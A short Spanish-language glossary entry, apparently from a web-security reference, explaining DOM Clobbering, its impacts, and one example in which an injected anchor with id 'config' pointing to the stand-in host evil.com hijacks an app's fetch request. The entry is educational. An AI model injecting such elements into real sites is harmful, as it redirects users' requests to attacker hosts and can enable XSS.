DOM Clobbering
MedioDOM Clobbering
Definición
DOM Clobbering es una técnica de ataque web donde el atacante inyecta elementos HTML que sobrescriben propiedades globales del DOM de JavaScript. Usando atributos como id o name en elementos HTML, se crean referencias globales que pueden reemplazar variables, objetos o funciones que el código JavaScript espera, alterando su comportamiento.
Impacto
Cross-Site Scripting (XSS) en contextos donde la inyección HTML está permitida pero no scriptsBypass de sanitizadores HTML como DOMPurifyAlteración del flujo de ejecución de JavaScriptRedirección a URLs maliciosas
Ejemplos
DOM Clobbering para sobrescribir variable global
Los elementos HTML con atributo id crean propiedades globales en window. Si el JavaScript de la app usa una variable global que coincide con el id inyectado, el elemento HTML la sobrescribe, permitiendo al atacante controlar su valor.
<!-- Código JavaScript de la aplicación -->
<script>
// La app espera que 'config' sea un objeto definido en otro script
if (typeof config !== 'undefined') {
fetch(config.apiUrl + '/data');
}
</script>
<!-- El atacante inyecta (en un campo que permite HTML pero no <script>) -->
<a id="config" href="https://evil.com/"></a>
<!-- Ahora config.toString() devuelve "https://evil.com/"
y la app hace fetch a https://evil.com//data -->